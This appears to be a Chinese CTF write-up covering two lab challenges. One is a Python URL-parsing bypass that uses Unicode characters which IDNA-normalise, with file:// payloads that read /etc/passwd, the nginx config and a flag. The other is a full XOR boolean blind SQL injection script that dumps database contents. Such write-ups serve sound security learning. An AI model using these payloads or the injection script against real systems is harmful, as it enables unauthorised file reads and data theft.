[SUCTF 2019]Pythonginx
思路
看到源代码
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
解题
关键是要在前两个if不进去的情况下,进入第三个if
这里有两个解法:
解法一:利用unicode字符爆破
写一个爆破程序即可
from urllib import parse
def test_url():
for x in range(65535):
c = chr(x)
url = f'http://suctf.c{c}/a=1&b=1'
try:
host = parse.urlparse(url).hostname
except:
continue
if get_url(url, host):
print(f'unicode:{c}, hex:\\u{hex(x)}')
def get_url(url, host):
if host == 'suctf.cc':
return False
parts = list(parse.urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
try:
n = h.encode('idna').decode('utf-8')
except:
return False
newhost.append(n)
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = parse.urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
test_url()
unicode:ℂ, hex:\u0x2102
unicode:ℭ, hex:\u0x212d
unicode:Ⅽ, hex:\u0x216d
unicode:ⅽ, hex:\u0x217d
unicode:Ⓒ, hex:\u0x24b8
unicode:ⓒ, hex:\u0x24d2
unicode:C, hex:\u0xff23
然后构造payload即可,先读/etc/passwd
/getUrl?url=file://suctf.cℂ/../../../../../etc/passwd
# 然后根据提示读取nginx配置文件
/getUrl?url=file://suctf.cℂ/usr/local/nginx/conf/nginx.conf
# 或者
/getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf
# 获得flag位置为usr/fffffflag
/getUrl?url=file://suctf.c℆sr/fffffflag
注意
记录一些基础知识
nginx常用文件路径
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
urllib.parse相关函数作用
from urllib import parse
url = "https://www.lingye.space/simple?a=1&b=i"
res1 = parse.urlparse(url)
print(res1)
# ParseResult(scheme='https', netloc='www.lingye.space', path='/simple', params='', query='a=1&b=i', fragment='')
print(res1.hostname) # www.lingye.space
parts = parse.urlsplit(url)
print(parts)
# SplitResult(scheme='https', netloc='www.lingye.space', path='/simple', query='a=1&b=i', fragment='')
print(list(parts))
# ['https', 'www.lingye.space', '/simple', 'a=1&b=i', '']
parts = list(parts)
newhost = []
for h in parts[1].split('.'):
newhost.append(h.encode('idna').decode('utf-8')) # encode(‘idna’)是指转换为国际化域名
parts[1] = '.'.join(newhost)
print(parts[1]) # www.lingye.space
finalurl = parse.urlunsplit(parts)
print(finalurl) # https://www.lingye.space/simple?a=1&b=i
finalurl = finalurl.split(' ')[0]
print(finalurl) # https://www.lingye.space/simple?a=1&b=i
host = parse.urlparse(finalurl).hostname
print(host) # www.lingye.space
关于urllib
urllib.request 打开和读取 URL
urllib.error 包含 urllib.request 抛出的异常
urllib.parse 用于解析 URL
urllib.robotparser 用于解析 robots.txt 文件
不知道为什么buuctf上面老是失败
这里放个docker地址:SUCTF-2019/Web/pythonginx at master · team-su/SUCTF-2019 · GitHub
有空自己搭个试试
[WUSTCTF2020]颜值成绩查询
思路
测试了一下异或发现可以,直接盲注完事
解题
我在之前的py程序基础上优化了一下
import requests
import string
import time
url = 'http://112f5d3e-3835-4b69-a366-f344ca781605.node5.buuoj.cn:81/'
param_name = 'stunum'
params = {param_name: None}
min_num = 9
max_num = 128
def bool_success(url: string, params : dict, success_flag: string, fail_flag: string):
# 初始化
if not hasattr(bool_success, 'wait_time'):
bool_success.wait_time = 0.02
if not hasattr(bool_success, 'success_times'):
bool_success.success_times = 0
if not hasattr(bool_success, 'total_times'):
bool_success.total_times = 0
state_503 = True
while state_503:
time.sleep(bool_success.wait_time)
bool_success.total_times += 1
try:
response = requests.get(url=url, params=params)
except Exception:
continue
# print(url+'id='+params[param_name])
if requests.status_codes != 503:
state_503 = False
bool_success.success_times += 1
# print(url, response.text)
if success_flag in response.text:
# print('success')
return True
elif fail_flag in response.text:
# print('fail')
return False
elif "Error" in response.text:
# print('worry_data')
continue
else:
# print('error')
continue
if bool_success.total_times >= 10 and bool_success.success_times / bool_success.total_times >= 0.5:
bool_success.wait_time += 0.01
print(f'bool_success.wait_time调整至{bool_success.wait_time}')
bool_success.total_times = 0
bool_success.success_times = 0
res = ''
None_num = 0
for i in range(1, 500):
left = min_num - 1
right = max_num + 1
mid = (left + right) // 2
while left + 1 != right:
column_name = 'value'
table_name = 'flag'
# 数据库
# params[param_name] = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})'
# 数据表
# params[param_name] = f'1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})'
# 字段
# params[param_name] = f'1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="{table_name}")),{i},1))>{mid})'
# 内容
params[param_name] = f'1^(ascii(substr((select(group_concat({column_name}))from({table_name})),{i},1))>{mid})'
if bool_success(url, params, 'student number not exists.', 'Hi admin, your score is: 100'):
left = mid
else:
right = mid
mid = (left + right) // 2
if right == max_num + 1 or left == min_num - 1:
print('NoneChr!')
None_num += 1
if None_num >= 5:
print('---finished---')
break
continue
res += chr(right)
print(res)